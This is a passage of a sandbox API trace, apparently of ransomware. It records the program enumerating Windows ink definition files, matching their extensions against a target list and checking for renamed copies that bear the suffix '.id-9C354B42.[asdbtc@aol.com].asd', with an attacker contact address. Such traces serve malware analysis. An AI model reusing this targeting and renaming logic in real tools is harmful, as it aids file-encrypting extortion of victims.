[0045.753] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.753] lstrlenW (lpString=".xlsx") returned 5 [0045.753] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0045.753] lstrlenW (lpString=".ppt") returned 4 [0045.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.753] lstrlenW (lpString=".zip") returned 4 [0045.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.753] lstrlenW (lpString=".rar") returned 4 [0045.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.753] lstrlenW (lpString=".bz2") returned 4 [0045.754] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString=".7z") returned 3 [0045.754] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.754] lstrlenW (lpString=".dbf") returned 4 [0045.754] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.754] lstrlenW (lpString=".1cd") returned 4 [0045.754] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.754] lstrlenW (lpString=".jpg") returned 4 [0045.754] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.754] lstrlenW (lpString=".doc") returned 4 [0045.754] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString=".docx") returned 5 [0045.754] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0045.754] lstrlenW (lpString=".pdf") returned 4 [0045.754] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString=".xls") returned 4 [0045.754] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.754] lstrlenW (lpString=".xlsx") returned 5 [0045.754] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0045.754] lstrlenW (lpString=".ppt") returned 4 [0045.755] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.755] lstrlenW (lpString=".zip") returned 4 [0045.755] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.755] lstrlenW (lpString=".rar") returned 4 [0045.755] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.755] lstrlenW (lpString=".bz2") returned 4 [0045.755] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.755] lstrlenW (lpString=".7z") returned 3 [0045.755] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.755] lstrlenW (lpString=".dbf") returned 4 [0045.755] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.755] lstrlenW (lpString=".1cd") returned 4 [0045.755] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.755] lstrlenW (lpString=".jpg") returned 4 [0045.755] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.755] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.755] lstrlenW (lpString="keypad.xml") returned 10 [0045.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.764] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=727) returned 1 [0045.764] CloseHandle (hObject=0x1c0) returned 1 [0045.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0045.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.764] lstrlenW (lpString=".doc") returned 4 [0045.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.764] lstrlenW (lpString=".docx") returned 5 [0045.764] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0045.765] lstrlenW (lpString=".pdf") returned 4 [0045.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString=".xls") returned 4 [0045.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString=".xlsx") returned 5 [0045.765] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0045.765] lstrlenW (lpString=".ppt") returned 4 [0045.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.765] lstrlenW (lpString=".zip") returned 4 [0045.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.765] lstrlenW (lpString=".rar") returned 4 [0045.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString=".bz2") returned 4 [0045.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString=".7z") returned 3 [0045.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.765] lstrlenW (lpString=".dbf") returned 4 [0045.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.765] lstrlenW (lpString=".1cd") returned 4 [0045.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.765] lstrlenW (lpString=".jpg") returned 4 [0045.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.766] lstrlenW (lpString=".doc") returned 4 [0045.766] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString=".docx") returned 5 [0045.766] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0045.766] lstrlenW (lpString=".pdf") returned 4 [0045.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString=".xls") returned 4 [0045.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString=".xlsx") returned 5 [0045.766] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0045.766] lstrlenW (lpString=".ppt") returned 4 [0045.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.766] lstrlenW (lpString=".zip") returned 4 [0045.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.766] lstrlenW (lpString=".rar") returned 4 [0045.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString=".bz2") returned 4 [0045.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.766] lstrlenW (lpString=".7z") returned 3 [0045.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.766] lstrlenW (lpString=".dbf") returned 4 [0045.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.767] lstrlenW (lpString=".1cd") returned 4 [0045.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0045.767] lstrlenW (lpString=".jpg") returned 4 [0045.767] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.767] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.767] lstrlenW (lpString="base_altgr.xml") returned 14 [0045.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.225] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3161) returned 1 [0047.225] CloseHandle (hObject=0x1dc) returned 1 [0047.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0047.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.225] lstrlenW (lpString=".doc") returned 4 [0047.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.225] lstrlenW (lpString=".docx") returned 5 [0047.225] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.225] lstrlenW (lpString=".pdf") returned 4 [0047.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.225] lstrlenW (lpString=".xls") returned 4 [0047.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString=".xlsx") returned 5 [0047.226] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.226] lstrlenW (lpString=".ppt") returned 4 [0047.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.226] lstrlenW (lpString=".zip") returned 4 [0047.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.226] lstrlenW (lpString=".rar") returned 4 [0047.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString=".bz2") returned 4 [0047.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString=".7z") returned 3 [0047.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.226] lstrlenW (lpString=".dbf") returned 4 [0047.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.226] lstrlenW (lpString=".1cd") returned 4 [0047.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.226] lstrlenW (lpString=".jpg") returned 4 [0047.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.227] lstrlenW (lpString=".doc") returned 4 [0047.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString=".docx") returned 5 [0047.227] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.227] lstrlenW (lpString=".pdf") returned 4 [0047.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString=".xls") returned 4 [0047.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString=".xlsx") returned 5 [0047.227] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.227] lstrlenW (lpString=".ppt") returned 4 [0047.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.227] lstrlenW (lpString=".zip") returned 4 [0047.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.227] lstrlenW (lpString=".rar") returned 4 [0047.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString=".bz2") returned 4 [0047.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString=".7z") returned 3 [0047.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.227] lstrlenW (lpString=".dbf") returned 4 [0047.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.227] lstrlenW (lpString=".1cd") returned 4 [0047.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.228] lstrlenW (lpString=".jpg") returned 4 [0047.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.228] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.228] lstrlenW (lpString="base_jpn.xml") returned 12 [0047.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.228] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=804) returned 1 [0047.228] CloseHandle (hObject=0x1dc) returned 1 [0047.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0047.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.229] lstrlenW (lpString=".doc") returned 4 [0047.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.229] lstrlenW (lpString=".docx") returned 5 [0047.229] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0047.229] lstrlenW (lpString=".pdf") returned 4 [0047.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString=".xls") returned 4 [0047.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString=".xlsx") returned 5 [0047.230] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0047.230] lstrlenW (lpString=".ppt") returned 4 [0047.230] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.230] lstrlenW (lpString=".zip") returned 4 [0047.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.230] lstrlenW (lpString=".rar") returned 4 [0047.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString=".bz2") returned 4 [0047.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString=".7z") returned 3 [0047.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.230] lstrlenW (lpString=".dbf") returned 4 [0047.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.230] lstrlenW (lpString=".1cd") returned 4 [0047.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.230] lstrlenW (lpString=".jpg") returned 4 [0047.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.231] lstrlenW (lpString=".doc") returned 4 [0047.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString=".docx") returned 5 [0047.231] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0047.231] lstrlenW (lpString=".pdf") returned 4 [0047.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString=".xls") returned 4 [0047.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString=".xlsx") returned 5 [0047.231] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0047.231] lstrlenW (lpString=".ppt") returned 4 [0047.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.231] lstrlenW (lpString=".zip") returned 4 [0047.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.231] lstrlenW (lpString=".rar") returned 4 [0047.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString=".bz2") returned 4 [0047.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.231] lstrlenW (lpString=".7z") returned 3 [0047.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.231] lstrlenW (lpString=".dbf") returned 4 [0047.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.232] lstrlenW (lpString=".1cd") returned 4 [0047.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0047.232] lstrlenW (lpString=".jpg") returned 4 [0047.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.232] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.232] lstrlenW (lpString="base_kor.xml") returned 12 [0047.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.233] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=488) returned 1 [0047.233] CloseHandle (hObject=0x1dc) returned 1 [0047.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0047.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.234] lstrlenW (lpString=".doc") returned 4 [0047.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.234] lstrlenW (lpString=".docx") returned 5 [0047.234] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.234] lstrlenW (lpString=".pdf") returned 4 [0047.234] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.234] lstrlenW (lpString=".xls") returned 4 [0047.234] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.234] lstrlenW (lpString=".xlsx") returned 5 [0047.234] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.234] lstrlenW (lpString=".ppt") returned 4 [0047.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString=".zip") returned 4 [0047.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.235] lstrlenW (lpString=".rar") returned 4 [0047.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString=".bz2") returned 4 [0047.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString=".7z") returned 3 [0047.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString=".dbf") returned 4 [0047.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString=".1cd") returned 4 [0047.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString=".jpg") returned 4 [0047.235] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.235] lstrlenW (lpString=".doc") returned 4 [0047.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.235] lstrlenW (lpString=".docx") returned 5 [0047.235] 